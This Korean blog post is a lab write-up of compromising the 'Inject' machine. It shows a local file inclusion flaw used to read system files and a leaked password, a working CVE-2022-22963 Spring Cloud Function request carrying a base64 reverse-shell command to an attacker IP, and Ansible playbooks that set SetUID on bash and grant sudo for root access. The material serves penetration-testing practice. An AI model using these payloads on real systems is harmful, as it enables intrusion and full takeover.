머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.

naabu -host 10.10.11.208 -p - --nmap-cli "nmap -sV"

대상 호스트에는 22/tcp, 8080/tcp 포트가 오픈되어있으며, Linux 계열의 OS인것으로 파악되었다.

웹 서비스로 추측되는 8080/tcp에 접근하니 일반적인 브랜딩 페이지로 보이는 사이트에 접속된다.

뜬금없는 업로드 버튼이 있어 접근하니 이미지 파일만 업로드 가능한 업로드 기능이 존재하였고 실제로 아무 인증 없이 업로드가 동작되었다.

View your image 링크를 타고 업로드된 파일에 접근하여 이미지를 로드하면 기존 업로드하였던 파일을 다시 볼 수 없도록 삭제(?)가 된다.

여기서 빠르게 파악할 수 있는 부분은 이미지를 확인하는 페이지이다.
LFI가 가능할것으로 파악되어 해당 HTTP Reuqest를 캡처하여 Burp Repeater로 전달하였으며, 해당 호스트의 /etc/passwd 파일을 읽을 수 있었다.

확인된 일반 유저 : frank, phil

/show_image?img=test.png

여러가지 로컬 시스템 파일에 대한 정찰을 진행하면서 /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly에 접근했고 이상한 점을 발견했다. 일반적으로 LFI 취약점은 파일을 읽어 HTTP Response에 파일 내용을 전달하는 형태인데, 위 4가지의 cron 관련 디렉터리를 요청하니 리스팅이 되는것이다?

원인이 궁금하여 소스코드(UserController.java)를 확인하니 바로 이해가 갔다. 덕분에 대상 호스트 시스템 정찰이 용이해졌다.

    ...
    ...
    @RequestMapping(value = "/show_image", method = RequestMethod.GET)
    public ResponseEntity getImage(@RequestParam("img") String name) {
        String fileName = UPLOADED_FOLDER + name;
        Path path = Paths.get(fileName);
        Resource resource = null;
        try {
            resource = new UrlResource(path.toUri());
        } catch (MalformedURLException e){
            e.printStackTrace();
        }
        return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
    }
    ...
    ...

/etc/passwd에서 확인한 frank유저의 홈디렉터리에서 계정 정보가 담긴 파일(/home/frank/.m2/settings.xml)을 확인할 수 있었다.

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

확인된 패스워드를 통해 ssh에 접근했지만 두 계정 모두 접근이 불가능했다.

다시 웹 디렉터리를 정찰하면서 웹 루트에서 pom.xml를 확인하던 중 해당 Spring Cloud Function v3.2.2가 dependency에 명시되어있는 것을 확인할 수 있었다! (CVE-2022-22963)

...
...
<dependency>
  <groupId>org.springframework.cloud</groupId>
  <artifactId>spring-cloud-function-web</artifactId>
  <version>3.2.2</version>
</dependency>
...

CVE-2022-22963가 유효한지 확인하기 위해 아래와 같이 /functionRouter 경로에 HTTP Request를 날려보니 500Error가 떨어지는것으로 확인되어 확실하게 SpringCloudFunction이 사용되고있다는 것을 알 수 있었다.

CVE-2022-22963는 RCE 취약점으로 아래와 같이 Exploit을 시도하여 파일이 생성되는지 확인해보았다.

취약점이 유효한것을 확인했으니 아래와 같이 Reverse Connection을 시도하여 쉘에 접근하였다.

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjIvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}

POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjIvOTAwNCAwPiYx}|{base64,-d}|{bash,-i}")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

CVE-2022-22963-Exploit

이후 권한 상승을 위해 linPEAS 스크립트를 대상 시스템에 업로드하여 스크립트를 실행했다.

linPEAS 결과를 분석하면서 많은 시간이 소요됐는데, 결과적으로 루트 소유의 Ansible 커멘드들이 존재했으며 Other권한에 실행권한이 존재했다.

Ansible Playbook 작성 방법을 리서치하는 과정에서 Understanding privilege escalation: become을 확인할 수 있었다.

즉 현재 공격자가 로그인한 계정은 frank이지만 Ansible 커멘드가 root 계정의 소유이며 Other 권한에 실행권한이있어 직접 Playbook을 작성하여 become 구문을 통해 root 권한으로 command를 실행할 수 있다.

작성된 Playbook은 아래와 같다.

- hosts: localhost
  tasks:
  - name: enable SetUID for LPE (juicemon)
    command: chmod +s /bin/bash
    become: true

✅ 결과적으로 현 상황에서 become 옵션은 필요었으며 자세한 내용은 아래 내용에서 확인해보도록 한다.

헉. 쓰기 권한이 없다 😂 확인해보니 staff 그룹에 속해있는 사용자는 쓰기 권한이 존재한다.

staff 그룹에 속한 유저는 phil로 확인됐다! 이전에 frank 유저 홈디렉터리에서 확인한 settings.xml 파일에 명시된 phil 계정의 패스워드로 로그인이 가능했다.

다시 phil 계정으로 Playbook(juicemon_playbook.yml)을 작성하고 약간의 시간이 지나 파일을 확인하니 작성한 Playbook 파일이 제거됐고 /bin/bash파일에는 SetUID가 활성화되어있었다(?)

결과적으로 SetUID가 활성화된 /bin/bash를 통해 /bin/bash -p 명령을 통해서 권한 상승에 성공하여 root 플래그도 획득할 수 있었다.

그치만 생성했던 Playbook이 왜 자동으로 실행됐고, 삭제됐는지 원인을 알 수 없어 계속 헤매던중 Ansible 장인 갓SS님의 도움으로 스케쥴러를 의심했고 crontab을 통해 스케쥴 설정을 확인했지만 일반 계정에서는 Ansible과 관련된 스케쥴은 없었다.

결국 root 계정의 crontab을 확인해야되는데 현재 SetUID가 설정된 bash를 통해 접근한 root 권한이라 euid만 root고 uid는 일반 계정(phil)이라 확인이 불가능 했다.

# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),27(sudo),50(staff)

결국 uid까지 root인 완벽한 root를 만들기위해 Playbook을 통해 phil 계정의 sudo 권한을 All로 변경하도록 손봤다.

- hosts: localhost
  tasks:
  - name: sudo all (phil)
    command: usermod -aG sudo phil

다시 phil 계정으로 돌아가 Playbook을 작성했고 가만히 기다리니 스케쥴러가 동작한것인지 작성한 Playbook이 삭제되었으며 sudo -l 옵션을 확인하니 기존에는 어떤 권한도 없었지만 All 권한으로 변경되었으며, 완벽하게 root 계정으로 스위치가 가능했다.

$ sudo su
$ id
uid=0(root) gid=0(root) groups=0(root)

가장 궁금했던 root 계정의 crontab은 아래와 같다.

30초 단위로 /opt/automation/tasks/ 디렉터리에 있는 .yml 확장자 Playbook 파일을 실행하고 모든 Playbook을 삭제한 후 root 홈디렉터리에 존재하는 Playbook을 복사한다.

또 이번 포스팅 상단 부근에서 이미지 파일을 한번 로드하면 삭제가 된다고 작성했는데, 웹 로직에 의해서 삭제가 되는것이 아니라 스케쥴러에 의해 삭제되는것이였다.

결과적으로 문제를 해결하긴했지만 운이 좋았던것같다...

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글